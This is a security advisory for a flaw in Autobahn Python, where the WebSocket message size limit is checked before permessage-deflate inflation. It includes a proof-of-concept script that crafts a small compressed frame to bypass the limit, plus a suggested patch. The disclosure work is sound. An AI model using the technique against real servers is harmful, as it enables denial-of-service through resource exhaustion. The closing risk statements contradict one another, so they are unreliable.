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PYSEC-2026-4027
Summary
Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.
Details
The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.
Reproduction
import sys
import types
import zlib
if len(sys.argv) != 2:
raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")
SRC = sys.argv[1]
class _Log:
def debug(self, *args, **kwargs):
pass
def warn(self, *args, **kwargs):
pass
def error(self, *args, **kwargs):
pass
class _Timer:
def call_later(self, *args, **kwargs):
return self
def cancel(self):
pass
txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio
hyperlink = types.ModuleType("hyperlink")
class _URL:
@classmethod
def from_text(cls, text):
return cls(text)
def __init__(self, text):
self._text = text
def to_uri(self):
return self
def normalize(self):
return self
def to_text(self):
return self._text
hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink
wamp_types = types.ModuleType("autobahn.wamp.types")
class TransportDetails:
pass
wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types
sys.path.insert(0, SRC + "/src")
from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol
class _Factory:
isServer = True
requireMaskedClientFrames = True
maskServerFrames = False
utf8validateIncoming = True
applyMask = True
maxFramePayloadSize = 128
maxMessagePayloadSize = 128
autoFragmentSize = 0
failByDrop = True
echoCloseCodeReason = False
openHandshakeTimeout = 5
closeHandshakeTimeout = 1
tcpNoDelay = True
autoPingInterval = 0
autoPingTimeout = 0
autoPingSize = 12
autoPingRestartOnAnyTraffic = True
logOctets = False
logFrames = False
trackTimings = False
versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
webStatus = False
perMessageCompressionAccept = staticmethod(lambda offer: None)
serveFlashSocketPolicy = False
flashSocketPolicy = ""
allowedOrigins = ["*"]
allowedOriginsPatterns = []
allowNullOrigin = True
maxConnections = 0
trustXForwardedFor = 0
_batched_timer = _Timer()
class CapturingProtocol(WebSocketProtocol):
CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER
def __init__(self):
super().__init__()
self.delivered = None
def _onMessageBegin(self, isBinary):
self.onMessageBegin(isBinary)
def _onMessageFrameBegin(self, length):
self.onMessageFrameBegin(length)
def _onMessageFrameData(self, payload):
self.onMessageFrameData(payload)
def _onMessageFrameEnd(self):
self.onMessageFrameEnd()
def _onMessageFrame(self, payload):
self.onMessageFrame(payload)
def _onMessageEnd(self):
self.onMessageEnd()
def _onMessage(self, payload, isBinary):
self.delivered = payload
def sendData(self, data, sync=False, chopsize=None):
pass
def dropConnection(self, abort=True):
self.droppedByMe = True
self.state = WebSocketProtocol.STATE_CLOSED
def masked_compressed_text_frame(payload):
compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
compressed = compressed[:-4]
mask = b"\x11\x22\x33\x44"
masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
if len(compressed) <= 125:
header = bytes([0xC1, 0x80 | len(compressed)])
elif len(compressed) <= 65535:
header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
else:
raise RuntimeError("compressed fixture too large")
return header + mask + masked, len(compressed)
limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
raise SystemExit("compressed fixture does not pass pre-inflate limit")
proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
is_server=True,
server_no_context_takeover=False,
client_no_context_takeover=False,
server_max_window_bits=15,
client_max_window_bits=15,
mem_level=8,
max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13
proto._dataReceived(frame)
delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
print(
"AUTOBAHN_DEFLATE_LIMIT_BYPASS "
f"delivered_length={delivered_len} configured_limit={limit} "
f"compressed_length={compressed_len}"
)
raise SystemExit(0)
print(
"guarded "
f"delivered_length={delivered_len} configured_limit={limit} "
f"compressed_length={compressed_len} "
f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)
Impact
A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.
Suggested fix
diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
if self.state == WebSocketProtocol.STATE_OPEN:
self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+ if self._isMessageCompressed:
+ self.message_data_total_length += uncompressedLen - compressedLen
+ if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+ self.wasMaxMessagePayloadSizeExceeded = True
+ self._max_message_size_exceeded(
+ self.message_data_total_length,
+ self.maxMessagePayloadSize,
+ f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+ )
+ return False
# incrementally validate UTF-8 payload
#
Reported by Team Atlanta.
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The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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